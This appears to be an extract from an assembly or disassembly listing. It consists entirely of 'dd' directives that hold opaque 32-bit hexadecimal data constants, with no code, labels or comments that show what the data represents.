		dd 0E75CC3D9h, 0CB0E8094h, 21009597h, 3E7AF8FBh, 2A44A04Fh
		dd 4494A5F7h, 8D005F13h, 0B05BFE85h, 0E1F880h, 4BFB752Bh
		dd 54BFD0F5h, 2D16439h,	66FCDB1Ch, 77A5C022h, 2C41C03Ah
		dd 99AF0FDh, 447A2D24h,	48A078C2h, 0B842B0h, 0AA29BC2h
		dd 28F17CB9h, 89374F3Eh, 2018AFCFh, 0A0A9D31Ch,	0C00712CBh
		dd 9F4470B3h, 55005F27h, 0D80A162Eh, 2AFEE658h,	26FCB9E9h
		dd 1D1AABh, 0C9D1A172h,	4C92F47Bh, 5DD8DF04h, 0C075CFh
		dd 240246C6h, 83240618h, 66DB10F1h, 0D17F01CBh,	14A048h
		dd 0CB651EBBh, 0BF12DEh, 52C275F7h, 268D3060h, 0A2A83Fh
		dd 2E3C6570h, 154C010Dh, 0B0F5E2CDh, 565CE100h,	0A27CDDB5h
		dd 0F417B13Ch, 9D4EB60Fh, 3C54E062h, 0C7FBE55Dh, 0C0749CC1h
		dd 2C08D5CFh, 0E903A4AEh, 10B973B6h, 0CD103FFFh, 42F64102h
		dd 848F087Ah, 0CAB03F21h, 443C3021h, 89F1E230h,	0DE3A33h
		dd 0EF0A86A9h, 995F9575h, 7EE7A304h, 0D08A5CDFh, 9DC19521h
		dd 2AD82F01h, 0CB820005h, 0CEDF737Ah, 0D8006063h, 438069Fh
		dd 124BD1CDh, 481E32Ch,	50D09BA0h, 8044CF60h, 1C95DF34h
		dd 4961C5Ch, 0B938A999h, 40101B93h, 9CD143D4h, 5202812Bh
		dd 0E19E4614h, 42C44158h, 26F26210h, 0BDC0E0ABh, 4C240C06h
		dd 986AF472h, 28937D60h, 0EAC1002Dh, 0B645B0B4h, 4801CB08h
		dd 0E77502D9h, 436C43Ch, 84A16D10h, 0CC273A73h,	0E9038471h
		dd 9C0767C4h, 1194F017h, 0AB4D0382h, 0E5CEB4E6h, 84A1B5C3h
		dd 3896FCA3h, 64A8500Eh, 0D33C20D7h, 187E7F13h,	3067E80Ch
		dd 0FB00D584h, 68AD66FEh, 0B860D818h, 89130F7Bh, 597AB3E2h
		dd 997500D5h, 0B0D5DC8h, 57C79324h, 209CBA87h, 34B280E0h
		dd 124B5C01h, 0DD71C315h, 6C213887h, 4C690DAh, 56E4648Ch
		dd 68C84C00h, 7C24C2B6h, 0A77397h, 0DF18CD0Eh, 7172EA02h
		dd 0B1468800h, 0B23ED07Bh, 0E830001Eh, 0E684CD7Fh, 4315D14h
		dd 17F3C1E3h, 976002D9h, 0C78518CAh, 148D2987h,	7B64BA00h
		dd 9425E17Ah, 4EB5001Fh, 3D55A3E4h, 170F8B9h, 1D70A660h
		dd 0C17F38D8h, 0EB6D5B8h, 45B3CC22h, 8F716A03h,	5FDF9Ah
		dd 78D87D21h, 0BA649D4Fh, 53E51202h, 0B1487C6Eh, 684CA884h
		dd 3844030Bh, 0B9C7FBFCh, 0EA61D906h, 5929DFh, 0BD14E4CCh
		dd 9A0CF301h, 0B37C3F00h, 0D127B90Dh, 645F7CDAh, 5344F165h
		dd 930400FEh, 1F597715h, 0B7BF4800h, 381E2E16h,	307554D2h
		dd 21BF8FAh, 7430E9DAh,	92605221h, 3C007BB8h, 0BEBD54EEh
		dd 5F95DACh, 67CF2AB0h,	18685281h, 77B3496Eh, 0F0642600h
		dd 4D52AE6Bh, 47B73829h, 37BCC80h, 21BB80B8h, 95F383Eh
		dd 218BB693h, 8CD12024h, 7763CCh, 0ED3644ADh, 406E8D17h
		dd 3BD45F05h, 0B42101E3h, 39808CB3h, 0E1BC0E77h, 0D60028CBh
		dd 0DAC0922h, 3BEF0EBh,	0F47D8CF3h, 47B019A1h, 0ED268A40h
		dd 0AD003D33h, 35B8FBC3h, 19CE06F5h, 2041E56Ah,	89D6AA1Dh
		dd 539D4500h, 576388h, 0BCF01C5Ch, 7CDA5BCCh, 2F78F707h
		dd 60AE1628h, 0A2F60C47h, 0E4181C6Bh, 0E7084140h, 0D03FCA4Eh
		dd 27010A67h, 7F3B82DDh, 0CE9D4251h, 7774087h, 0EA0A5CDAh
		dd 9C287C00h, 0FE4D6B8Bh, 25711F5Dh, 745CEBh, 0C651558Ah
		dd 7D480956h, 8B8F401Ah, 967FD700h, 0B80ADC0h, 0D0703884h
		dd 519D2E81h, 0D072AEDCh, 2C00A97Ch, 0B4C76A74h, 184E0BDh
		dd 5A14D037h, 6F6B5196h, 54385780h, 0DE2D1F06h,	0BCFF0252h
		dd 435D8F26h, 82F7D8C2h, 0F6C03A03h, 0F510A40Fh, 478869C0h
		dd 4800A3B6h, 0C22EADE1h, 31BDCEFh, 0FD10D0E7h,	66902FD4h
		dd 0AE182032h, 5741FEA2h, 6399C06Ch, 0D8962297h, 3571F107h
		dd 0AC607E3Ch, 31B5C865h, 79296D50h, 0EBBBE858h, 0E487AA00h
		dd 0B3A068C9h, 4D1B0036h, 0F97ECAF6h, 8500CC23h, 0EEF72CA4h
		dd 2E4621Fh, 0B73AF579h, 86603007h, 8D0DB592h, 282AAE24h
		dd 54879087h, 85E782C6h, 66846960h, 82490A60h, 0AEFD497h
		dd 3F08A668h, 7646850h,	90FC93C9h, 780891B7h, 0DEDC6B00h
		dd 1910F2F1h, 2B540623h, 60FD2930h, 39665030h, 1D099158h
		dd 0C09C23EDh, 0BEA53B3Fh, 2803F8F5h, 65A729E9h, 88893A1Fh
		dd 0D5E07300h, 21E3D219h, 1E590701h, 0D4D07720h, 0A191FC50h
		dd 8CB4A8F1h, 1FF76B1h,	0F3DC2BCCh, 4013FCB3h, 0AEDD0398h
		dd 0AF816A1Dh, 0E4543740h, 485D1966h, 0ED002C98h, 366E15B7h
		dd 2A1E8421h, 9958FF60h, 88FA3060h, 0C9C05057h,	0EA920CA6h
		dd 174A409h, 9EDCCB8Dh,	50A9CC3Ch, 5A933BA8h, 610089EEh
		dd 67C69BEEh, 0E4043011h, 8ED0A4AFh, 69EE04C8h,	92DAB04h
		dd 1907C84h, 0AEBD5EF6h, 8FE448A3h, 992A4F01h, 2165A503h
		dd 0BDFF1981h, 207F3374h, 4639D406h, 1E4D6BEh, 599668Dh
		dd 28EBEFF9h, 206AA9h, 68D0B70h, 3943D1F4h, 0D4811B01h
		dd 0E8258C34h, 0AEA9EC0h, 5084871Ah, 9CB24088h,	0BB09F982h
		dd 58F9B0Bh, 0D41C96D8h, 0C8785622h, 80DD241Ch,	1138F901h
		dd 0FF00B016h, 0DCE6745Fh, 28735B81h, 3AE81042h, 271D940Dh
		dd 1204E63Bh, 80BC1990h, 7E8B6098h, 0F2D4CF55h,	14578C10h
		dd 8E3F24DFh, 54BE4203h, 64DBF961h, 96E9B100h, 0C870AA1h
		dd 797100D9h, 85B8C21Bh, 5A0276D4h, 3B30058Eh, 0FAC88183h
		dd 9450A875h, 0FC51E2h,	6555D69Fh, 1FF6147Ch, 36915712h
		dd 77F94420h, 0F768C57Fh, 117C2055h, 21309FDDh,	1C40E8CBh
		dd 570718F5h, 0D86B9953h, 2AB58A01h, 9F7DC0EEh,	0FCA3FCh
		dd 0DAB03BB8h, 0CA4C97Ah, 840784ACh, 4FF733ADh,	0E3634810h
		dd 2D4AE8Ch, 0B2AD7D25h, 5049955Ch, 7740203Fh, 18912C88h
		dd 301ECC01h, 0EA1B8D75h
		dd 0E37C5Bh, 0FE43F98h,	86406C8Fh, 95990200h, 0E9A5A380h
		dd 7E52FA19h, 1454FAA1h, 84C52B91h, 1270D19Fh, 6844BC65h
		dd 0F8C03F4Bh, 945699h,	83F650B1h, 0E327E734h, 73845F02h
		dd 40DC7B57h, 0C6C52854h, 59F90339h, 2E56C900h,	290BEA9Ah
		dd 25A81F31h, 135DC006h, 544CD48Eh, 80A308B0h, 0ED2C3004h
		dd 0EC988B60h, 702900DCh, 0A962FC10h, 0A8902E8Dh, 0BFA891h
		dd 9E735FDh, 48920168h,	0FAC2F428h, 6C8475E8h, 8FB640B9h
		dd 5ABAA3h, 1134DAD0h, 9D720243h, 378D891Ch, 0DCB54A00h
		dd 137321A2h, 1E2A8C56h, 6C41B078h, 0B00AF177h,	0D0D2FB10h
		dd 0FA247B11h, 71516428h, 0DC242264h, 7240007Eh, 0A4A3F845h
		dd 6A07AD32h, 969B704Fh, 624DE10h, 935A12DDh, 0FBB802C6h
		dd 9484C805h, 0CC408876h, 1A8050EFh, 6700F18Ah,	47CBFD08h
		dd 49E30BCh, 0DF2A96F3h, 2C409839h, 110A2509h, 8DFCB98Eh
		dd 1F4E020h, 0CD64C2AFh, 21DF5B63h, 7F04C640h, 27243152h
		dd 0A2A26032h, 0C088C04Ch, 81E53F8Ah, 9F270923h, 427FD06h
		dd 33DFC1A8h, 4FD1D488h, 0FD3FB58h, 43FA92CEh, 90D88485h
		dd 5074639Dh, 569872h, 0B16DA2E6h, 57D51797h, 20AC66E3h
		dd 0C0E2E23Eh, 0A45AF791h, 2E3BC0B3h, 2A69BADAh, 0AD12D8B6h
		dd 3045F4AEh, 5845C7CBh, 0AC0757BAh, 9D44326Ah,	9221D4C0h
		dd 4CDEF429h, 3D01F874h, 0DDA67513h, 0F750499Eh, 20AC6EE1h
		dd 70994458h, 519C7894h, 12D42288h, 70247FADh, 0B39C7880h
		dd 56A9C034h, 0CC8D8C53h, 63E88454h, 0F40CE5F5h, 500A4157h
		dd 0A4C20389h, 542E1F80h, 7B264D47h, 325B009Ch,	8EA744E2h
		dd 532CC8C0h, 11E0A82Ch, 7B98155h, 270F3D49h, 21BB9566h
		dd 225F7F8Ch, 0A4722A28h, 0E1AA0E00h, 578FC9DEh, 4EBE00E0h
		dd 45595C48h, 1C13073Ah, 6C62B4ABh, 0E86403h, 70728A06h
		dd 0FC332927h, 0DD81D33Ah, 83678830h, 0B4716EC3h, 0CD7877E0h
		dd 0C9F5FB00h, 5C176A38h, 294CB067h, 2ADC7AA8h,	53734544h
		dd 0A2799958h, 1560DB09h, 0D89C01E7h, 24288E9Ch, 308649C9h
		dd 8081797Bh, 0E97208B3h, 0EB4F6187h, 0AE35B0C7h, 19CB2F24h
		dd 7C643C23h, 6857882Ah, 6DB161C0h, 0BC339Dh, 5DD75F1h
		dd 50FD0A01h, 620C5448h, 0E02EA2B0h, 91B50280h,	2FAC0808h
		dd 85D43580h, 1C3D8E9h,	7FC57486h, 291A9564h, 0FCC18390h
		dd 24810EF4h, 0CE80C0E6h, 0D5DEC576h, 5270BA73h, 303078B0h
		dd 0A39FD132h, 6DE52CAFh, 69342CB4h, 4A849C84h,	8C9318AFh
		dd 0E1E01410h, 44D0A60Fh, 8B7AE4h, 0C1E9945Fh, 0FA0DA817h
		dd 94AC2A44h, 8BCC8C28h, 5790C361h, 0D5BCBD07h,	0B555587h
		dd 10F440C2h, 0C2B8FA89h, 0CB007CA6h, 0E380F43Eh, 7D07584h
		dd 5FBF56C5h, 0D99B323Bh, 0E5AEF980h, 80931A04h, 0BF3B1990h
		dd 883E6492h, 6D00FAF0h, 181CB547h, 43F96A0Dh, 0CC2C2C7Fh
		dd 5A75ADC2h, 3F189058h, 0DD247B84h, 0A40788F4h, 0EC289787h
		dd 2793800h, 8EFFB086h,	0B3F844D8h, 433F5579h, 3BC03E3h
		dd 0B0A3926Bh, 4252ED2h, 66638BAh, 0AD2CA4B0h, 30D4C325h
		dd 0C0A76778h, 694CDE79h, 78B06248h, 9B7E7C44h,	0FF690698h
		dd 33051C0h, 0FA0589FCh, 0BA61001Ch, 4148EBCBh,	0DA00DE06h
		dd 3A1E5218h, 0C955A729h, 589014B0h, 0BC059AFFh, 6288E919h
		dd 317F90C1h, 1223F04Ch, 0EB2E791Fh, 0DC50EB00h, 9AF6D265h
		dd 0E5CB3A30h, 24988160h, 89007C4Dh, 0B55421A8h, 0B057691Ah
		dd 0CCC017B8h, 0A20040AFh, 8B820434h, 68D0700Ah, 0C8A680BBh
		dd 0B864BF43h, 486329D1h, 69135875h, 741443B8h,	1EE9895Ch
		dd 0A7A040DEh, 0F09136AFh, 0E1808033h, 3DD3D1FAh, 3A80E4C1h
		dd 91D432C9h, 0BB0B2DDBh, 0A37C4F88h, 0D0817E20h, 62A97D97h
		dd 299DC028h, 29FC5891h, 75460030h, 0B667C856h,	5F2912E4h
		dd 28F8454Bh, 0CFCC0A25h, 9047479Ch, 117308C6h,	752460F6h
		dd 0FC0C8C22h, 135458BAh, 0C56ED7Fh, 65C1333Ch,	4004AF4h
		dd 9E7678D7h, 0D5DCB905h, 585CD4A0h, 380B5283h,	1EFB4EC0h
		dd 37A8061Fh, 0F300B89Eh, 8431B5B1h, 0E8686549h, 309016A9h
		dd 974BB178h, 987EC51Ch, 20246409h, 748CEC3Ch, 99120220h
		dd 2D7F2205h, 305F7069h, 9F203830h, 0D8926Bh, 9AC9AF9Bh
		dd 0DC131DCFh, 0A8D484A0h, 23F64802h, 0C974E00Ah, 5C4350CCh
		dd 28C18889h, 8EDE0002h, 6DC50E72h, 260152ECh, 543A529h
		dd 40239EBEh, 0F1AFB700h, 6412E17Eh, 2FD24B0Bh,	4F467075h
		dd 20405399h, 24D37EC8h, 0F0563900h, 754BA5Ah, 596830E0h
		dd 98EC29B8h, 4D1CE26h,	0C0249314h, 25E63424h, 7CF807A6h
		dd 0F66D66Ah, 771D9E80h, 830ED080h, 0DCB90864h,	0F879B800h
		dd 0C3AC5Ah, 13DD1850h,	8EC5E56Ah, 7D3CAE1Ch, 1AF6B1C4h
		dd 20AC98D2h, 5123DAD1h, 64D4A03h, 88B520DBh, 73C405A5h
		dd 7B9C044Ch, 0C880D770h, 54012918h, 0D1B50963h, 8AC042Ah
		dd 54982588h, 0FBF8D99Ah, 3E84448h, 0D23453DDh,	10048088h
		dd 829022AFh, 3008FD12h, 9B713840h, 2C707D21h, 26AC207Bh
		dd 0DDE04ED0h, 0B5EDD789h, 3469A800h, 576A54DCh, 807C9467h
		dd 24059B35h, 51040460h, 0CB78C81Eh, 74240497h,	0C60D54D1h
		dd 524BD063h, 0F6D4C804h, 0A6FBF00h, 0CDA3352Eh, 0F37D0961h
		dd 0F4803378h, 766DE4B3h, 7024A8C3h, 74410063h,	0DE750DC3h
		dd 5E09A692h, 0C427AE18h, 52EA3C44h, 2CE9BCB0h,	0B02FF54h
		dd 0C5182848h, 0AE0561A8h, 182A1E8h, 0FC96D020h, 0EC69A50Bh
		dd 9102AF25h, 52D468FAh, 901C50DCh, 61F6605Ah, 2218FC2Ah
		dd 0DCE9D404h, 94809B13h, 1C8A0524h, 0E484D1h, 0F2BBD70Dh
		dd 0CD005546h, 82E59427h, 12C3E05h, 0AA4ED55Fh,	0D18F77F5h
		dd 0A4FFD4F8h, 0AE1C3409h, 57B869A1h, 0E6004C69h, 390DB5C5h
		dd 25002BD5h, 0DC9EDF9Ch, 25030BEh, 0C3E48804h,	28405A18h
		dd 0FC281994h, 50300CA3h, 85F24962h, 70A40096h,	0E90990B2h
		dd 1400D816h, 0A0121DB0h, 9020567Ch, 0C49305ECh, 47856461h
		dd 70DE3690h, 0B26F9587h, 2B5E3E00h, 91198D31h,	663700F2h
		dd 8CAEAFAAh, 0B10F641Bh, 6B899B7Fh, 20A81A05h,	11E46968h
		dd 0D6A209EAh, 1FF43A95h, 60916612h, 0E5F853F4h, 27F9B0EDh
		dd 441BA3AEh, 619BFEE8h, 2FE75400h, 8372054Ah, 792E01C7h
		dd 0E06BA6C2h, 0CF4430ACh, 0B20784B9h, 802F8085h, 5314FE9Dh
		dd 0A1A8B098h, 3009E91Ch, 0FC88B4D4h, 3F19C0F5h, 0C93CB304h
		dd 190C4D00h, 7167F3B9h, 7C1F0960h, 71E1E6C3h, 0FFC8648Ah
		dd 5A7788h, 1833418Dh, 31F036B4h, 990EDE00h, 7B20B171h
		dd 0A84D30CCh, 0D1815AA0h, 3E441058h, 0FC5BFF77h, 18076440h
		dd 1FF71640h, 0C7EDCA64h, 70B34FF1h, 2BA4303Ah,	0A16BEC0Ch
		dd 0F4F57E18h, 0F98663CCh, 0D1C9648Ch, 6670D027h, 3BC80253h
		dd 27204CD5h, 0FAD40225h, 0A89893E2h, 7BB1279Fh, 0AC9403FFh
		dd 0D4439CDDh, 9198B0D4h, 0A49453FFh, 0AE4021F8h, 0CBB87A48h
		dd 57248053h, 0B035E591h, 8FFE2C18h, 28AF61BCh,	0C1BC4DCAh
		dd 3998CA9h, 0F20119FBh, 8862007Ah, 48A9788Fh, 32037529h
		dd 0CCE4544Eh, 732873A3h, 585158C0h, 4CA4204Bh,	3003CA7h
		dd 0E3073CDh, 735CB8A3h, 0E79302EEh, 0C9D4F039h, 496A5522h
		dd 21D4C53Ch, 957D0085h, 8B151EE6h, 3C0076ADh, 0C35C24DFh
		dd 5E2AFB3h, 3300757h, 202C806Fh, 0C50B0A27h, 90C077D1h
		dd 6B84E4h, 1FD31094h
		dd 65EFFFB0h, 0AEDD810Ah, 0CC0C3870h, 0F5CDB187h, 0F4FC26F4h
		dd 17009076h, 12CE7086h, 0ADD821AEh, 0E8BC30AEh, 0C1DDEEEh
		dd 48304154h, 54C4E53Fh, 0E6E088A4h, 20894AE2h,	0AB6540F0h
		dd 1FAAE63Ch, 1FB30D3h,	0BB452A6h, 0D040870Ah, 0C3F8FEBh
		dd 695748DCh, 76000939h, 16DFD059h, 3D9D367Bh, 0FCA7F7h
		dd 1F35C8F8h, 232D1AB8h, 0BE552101h, 7473C47Ah,	1F12530h
		dd 114C3F85h, 0D14D911Fh, 80F43C8Ch, 0E2627803h, 25B20745h
		dd 39A2E73Eh, 10DD485h,	268B7778h, 80807872h, 2B63C2ECh
		dd 9717B3Dh, 0A7E44261h, 45A30041h, 2E64B28Ch, 611E43FFh
		dd 0F5359DC0h, 5E18874h, 361DB8AEh, 0E520A464h,	9612BB18h
		dd 1FA516Ah, 0F5F60CC8h, 0C8FBA9D7h, 202679Ah, 662B1ACEh
		dd 4054F911h, 0FF090B9Dh, 85D08300h, 0DC2FB7FAh, 71E0002Eh
		dd 9A348426h, 0F929AD31h, 0AF0980E9h, 50CC66A1h, 0F51E5C67h
		dd 9D0FE0h, 6B9952D0h, 0D3514566h, 26F37500h, 0FC307080h
		dd 9B94A4F0h, 0CD070BF0h, 71791487h, 0EC200331h, 0C9017430h
		dd 8690BF57h, 71E00AC3h, 2B11C565h, 66140559h, 80FCA2FFh
		dd 417581C4h, 0AB1800E0h, 5D1643D8h, 4A5ED23Bh,	0BA79E400h
		dd 1FC7A871h, 2B6933Fh,	0F0A781DFh, 0C153E4A5h,	2C6D7A30h
		dd 29FACEBCh, 0DDFC217Dh, 0B5307079h, 637516E7h, 0CCF86220h
		dd 850EE852h, 0A11ED377h, 6B78759Dh, 910C202Ch,	57B1C42Bh
		dd 140078B1h, 81FCDCFh,	6C27005Bh, 43FF462Ah, 98167488h
		dd 1EBE096h, 9E617CDCh,	0BA0C2029h, 0FCD5788h, 0CFB937EFh
		dd 0F9B87AE0h, 0B60434D3h, 0C355E39Eh, 0E94CD380h, 37241B28h
		dd 0F01D39DBh, 5F00DFC4h, 2C747CEDh, 0FCA0A87h,	347ABDh
		dd 5785FB24h, 53F8EAFFh, 0FA706E09h, 0FD0890ECh, 9C6801EBh
		dd 368D54ACh, 2884C911h, 0C00E8F24h, 4CB42635h,	1CBEA93h
		dd 8582C93Dh, 0C4037B6Bh, 6F0957E4h, 46D5C53h, 0AD42B65Ch
		dd 9F4BCh, 0BB84DD1Ch, 46033066h, 7BAE7E98h, 0B0496F4Fh
		dd 88689807h, 94B0E472h, 0A2711218h, 80403C9Ch,	3E29F16h
		dd 7560A3F4h, 809C9691h, 84754AD1h, 0ED3D719Eh,	823E3A37h
		dd 0AEE58B55h, 25607236h, 0FC25E8F9h, 0ED3C0065h, 3A0260B2h
		dd 0D802948h, 0C1A3A86Fh, 2F2AA441h, 0FC272310h, 4E7C8090h
		dd 0E60689FAh, 4F322B83h, 0A5575011h, 61667B87h, 6AAD61AAh
		dd 37828A7h, 8C21BF7Eh,	8004D2EDh, 4EF51D60h, 0D15A3B0Bh
		dd 54886F01h, 0F0D57736h, 0B97B0EADh, 2C5FFC03h, 0D066F951h
		dd 0C652C5h, 304B62Ah, 7B50F48Ah, 0A880C4B9h, 0C057426Fh
		dd 0D34700ABh, 3F24C6FAh, 0D90058C3h, 168C878Bh, 2462ECBDh
		dd 47846D2Bh, 71A86072h, 7D24206Bh, 53BAAC70h, 287E04E8h
		dd 1CAC5D07h, 0F5076A22h, 0B19D46BAh, 0DE6E1BF0h, 76B41CC7h
		dd 0A4EFDC0h, 808823C0h, 5A1CF006h, 0FF01EF58h,	0C3E74471h
		dd 442AAB10h, 48F7ADCCh, 0ACD78053h, 901D9614h,	0CEE158h
		dd 196D77F6h, 24B5C9Fh,	0F828C747h, 0FC851139h,	0F9948172h
		dd 88546877h, 6561C029h, 0C3B818CEh, 0C0287491h, 510571DEh
		dd 60E12381h, 0A14F3024h, 34F82F14h, 76FA1589h,	89743086h
		dd 0C75C4054h, 35F06F97h, 14DCB300h, 24C8E0F5h,	0A4EF004Fh
		dd 380D797Ah, 6A007451h, 36D284B2h, 24CC887Bh, 0B989D41h
		dd 4080A279h, 7456A434h, 8F5CC648h, 8CDCF42Bh, 3089F8EEh
		dd 24D80ACBh, 0AF180704h, 3A18135h, 0EE3018E7h,	0D662871h
		dd 0A449AD6Ah, 5ED65460h, 3BEF0B87h, 0A8480443h, 4C006B6Dh
		dd 815747D9h, 7C9528F0h, 51A21E94h, 172BCBC2h, 0C046CCE2h
		dd 22DD9117h, 38F2F000h, 0B89EDF42h, 2A35261Ch,	0A25300BCh
		dd 0A4328330h, 0C0500C26h, 4CE48144h, 0DE20C235h, 24FA5589h
		dd 690C5A00h, 133B22ABh, 0E2AC02AFh, 1AE8F52h, 321AC661h
		dd 0C6BC5170h, 104028D9h, 3B473787h, 0F801FD43h, 0D032C30Ch
		dd 3CF43574h, 6B2A8088h, 0EEDA116Ch, 30AF13F6h,	7424211Eh
		dd 13E21084h, 7B641269h, 2BDC0189h, 680A7038h, 0AA020428h
		dd 0C07515h, 4C573D9Eh,	6F226C32h, 0DE60FB00h, 0C6E4E6B9h
		dd 274C906Bh, 84813F28h, 5085EDFAh, 0D9AF6E34h,	5435A205h
		dd 1403D805h, 0BB026691h, 44F92F32h, 13426092h,	97281404h
		dd 90044B50h, 5F8CC8FCh, 0FDE56700h, 12BDB09Ah,	7BFC4Bh
		dd 1C1F9D32h, 5277D643h, 57150916h, 0CEA0F4F0h,	0CC8520E1h
		dd 22EC8188h, 21F6122Ch, 20BF15EDh, 7E04244Bh, 645727F9h
		dd 0E63C88h, 0EFDE4377h, 60A49198h, 0E01BE51Ch,	404C1D3h
		dd 8E402C35h, 857B371Eh, 4E0B0A0h, 0F030E641h, 9690A4AFh
		dd 0FC6662C8h, 8B02F852h, 0B43C7844h, 0F7B8D061h, 7F94F510h
		dd 6E1DF07h, 4B846Ah, 1ECB0E98h, 0A8740031h, 61B8B3AEh
		dd 0A60D2422h, 11B2C6AFh, 14099E04h, 0A85A50h, 4F477634h
		dd 3BBB082Dh, 8078D539h, 61EE0714h, 672663h, 0BD7CB885h
		dd 7F4D9356h, 62D16D0Bh, 0CD3C0337h, 2195FBAh, 0E2B8EA30h
		dd 67986C48h, 0F098A0B0h, 18BEB898h, 595274ACh,	700242Ch
		dd 0B084D36Fh, 20B8FFEEh, 6A54F101h, 2DBA0466h,	7920FE12h
		dd 0A5A01Bh, 0B5E8D656h, 0AA2447BEh, 72B37D2Ch,	2F0FC821h
		dd 8520AC5h, 0AA04A281h, 0F8681D85h, 9E346783h,	92ABDBE8h
		dd 324CBA98h, 3CA3773Ch, 0A571409Ch, 0DF91D8h, 2535D8Eh
		dd 8077BE1Eh, 2C7D5A00h, 0F3A0959h, 663701C3h, 0E2AEAFA8h
		dd 0BDB670E1h, 27F6083Eh, 0E910808Eh, 4139AC73h, 0B5882024h
		dd 4A66723Ah, 8D848040h, 0A09C9154h, 0DC348F60h, 0BD127FB8h
		dd 0AF08C88Bh, 8E97713Fh, 609D3902h, 0A8E99B20h, 48D96378h
		dd 72884A7Fh, 600FF56h,	0B4F8D4DFh, 0AE2D88h, 92CE3B27h
		dd 0E819A967h, 0A4E20CF8h, 0F79F1E00h, 680F4D8Ah, 9B9514C8h
		dd 5D01A846h, 0F2572AE5h, 0B827C036h, 8519C30h,	78EE17Eh
		dd 0CC6E8FA7h, 6D806E73h, 7DA2119Bh, 0F0557700h, 0F93F75B3h
		dd 1477082h, 0C361DCDh,	0CD7C1161h, 91A6C1ECh, 3C004841h
		dd 36A2D45h, 2FA47A9h, 1F779000h, 7F8CDBCAh, 0DC15016Ch
		dd 0A82D5F42h, 9D17C1FBh, 0D1C043C0h, 11F88E6Fh, 0C99000C0h
		dd 0E40EB9E8h, 0DA3D3889h, 0A6720060h, 0EA2E0D3Bh, 0C50A3879h
		dd 0B1BE8130h, 0EB0695ADh, 8DEF7EE6h, 0BBD500D9h, 1C22F8E8h
		dd 40DF9369h, 2184890Ch, 43A93B94h, 1A0E518Fh, 78CE4FC0h
		dd 0F7005489h, 34919D2Dh, 3B3F7672h, 0BD808E92h, 0F3CC63FFh
		dd 30027BFAh, 8ABEE077h, 7284A0ECh, 3334AD3h, 75E78CE2h
		dd 29B0162Eh, 6C0C0241h, 28A5657Dh, 0AA2066Dh, 50FA7964h
		dd 3EF01B07h, 94803BDBh, 61FF77D7h, 41C4F158h, 0DD609D6Dh
		dd 0AF47E6DFh, 7B00691Dh, 36A5F9h, 0A44B95C5h, 0BCEDDC32h
		dd 2500E674h, 72F1CDDh,	485216h, 0F59C4E63h, 0FD9FA1D3h
		dd 62CF7400h, 250C33E5h, 3D080032h, 30FA41A4h, 114C8E8h
		dd 6C882Eh, 0CE1AA29h, 1EE4DDDFh, 1873FE23h, 0ED899944h
		dd 70CA29C0h, 0F36C49h,	110FE672h, 1B7CE4ADh, 6B124403h
		dd 643B76h, 52786FD9h, 6A6EA2D0h, 86CF804h, 24874BAAh
		dd 559A9260h, 0F0D4AB74h, 2434C254h, 803471C5h,	4C01D846h
		dd 0E73CD981h, 0F01C7EE3h, 60C1885Fh, 42C1D4D7h, 0B85080E5h
		dd 0A167E073h, 58107058h, 6C3E9A79h, 0D20C0087h, 0B59381B9h
		dd 70392876h, 0FF7D1854h, 9725797Ch, 0ABE4A20Fh, 0B9F68648h
		dd 0F5C0061h, 6F59FE53h
		dd 2C131BD9h, 33002960h, 9F3D6B75h, 7E2A00B3h, 0D1861120h
		dd 0D604589Dh, 31155E25h, 0E6372480h, 3C0514B5h, 0F4075078h
		dd 0C79B39D4h, 0F7058E46h, 170807BCh, 99498642h, 0B17FDD30h
		dd 8A6283h, 0CB3773Dh, 0A1B41940h, 34547305h, 0C861A46Dh
		dd 41807DCCh, 3FE7F718h, 5A0FF111h, 2AC41C3Ah, 0E03C08Bh
		dd 3A7B2777h, 0B7924961h, 0F2680A38h, 67DD43C8h, 52002171h
		dd 3268C95Bh, 1C4BFE5h,	0CEA364EAh, 4248FF42h, 0C4276018h
		dd 91093960h, 24821C44h, 553180F0h, 0BAD6135Bh,	83FDB0A8h
		dd 0BB65CA00h, 747B6E4h, 0DC30006Ch, 2331BCFFh,	0FE1DF43Bh
		dd 50407C16h, 0FD7EA42Ch, 0A1A4AB76h, 71BE69F5h, 0C50EC3Ah
		dd 6F6144CEh, 0FABD1300h, 227F29A1h, 636C00C6h,	91319A37h
		dd 5E3B2806h, 0DBBE8677h, 26110AA7h, 0B437A2h, 5C11AE12h
		dd 2BB84272h, 51CC0200h, 269CA684h, 0F97060CFh,	1878728Ch
		dd 0CD1D8000h, 0E8E50306h, 0D9EFA01h, 0F0A37E22h, 43142028h
		dd 8C91F218h, 49C70610h, 1C07606Ch, 478B22D8h, 0B15336Bh
		dd 13F8D7A3h, 723DE124h, 0EB730E71h, 43307842h,	43C99F7h
		dd 88763AADh, 0DF00F4ACh, 443C6BEh, 51F5BF8Ch, 890608E7h
		dd 3A6E0971h, 588C0CAFh, 4A126C39h, 5427749Ah, 95158D50h
		dd 51E97A6Dh, 80ECC4F2h, 0F4AC00F5h, 175875C7h,	8601CF10h
		dd 23EC13Bh, 95D974E2h,	284D4420h, 26380D70h, 14D1ED08h
		dd 0FC09C25h, 0FCF0EB93h, 6802E77Ch, 77335A02h,	0C4E09139h
		dd 0B84100EFh, 957BC0EFh, 0A8FCBD57h, 80A84279h, 560E8CA6h
		dd 0E3E57E65h, 40BB2299h, 846C9419h, 8B305F98h,	7EE918DCh
		dd 31140D5Bh, 80914AC5h, 2D73A2E8h, 1E95E004h, 80B64FD7h
		dd 83DF0DAh, 0FC3C3C3Ah, 0A17E3031h, 7364219Dh,	257F3Eh
		dd 0E058174h, 994013CFh, 0C47E0205h, 0A89CA78Fh, 0C9FB0049h
		dd 685261B9h, 72136722h, 5A00F943h, 3B6AC06Eh, 60DFFC31h
		dd 230E696Bh, 7600AF35h, 746C192Ch, 6DED0h, 0E1526B10h
		dd 3BD49EC2h, 849FC424h, 0F51FA85h, 395F00EAh, 3DBF6762h
		dd 0E03E1B00h, 91D30586h, 8B6C180Fh, 5423A181h,	0ECC3BD00h
		dd 7658D7A0h, 64EF004Ah, 0AC189AE9h, 0E105EB10h, 7BFC4259h
		dd 1EBF9888h, 0D270368Bh, 0D4D44011h, 0CA3134B8h, 0B5F17760h
		dd 0F674F4A4h, 0B37C02F7h, 0AF99A3BEh, 0E084BF87h, 7732591Bh
		dd 0DAAEE81Dh, 0E08AFA0Ah, 0B64D7E83h, 0C2EDC305h, 0D52C407Dh
		dd 0E2B8325Eh, 0F880E4E8h, 0C533170Dh, 10717F60h, 3D1CE236h
		dd 8C80D06Ah, 868160Dh,	0DF723A06h, 13490A00h, 337AABB5h
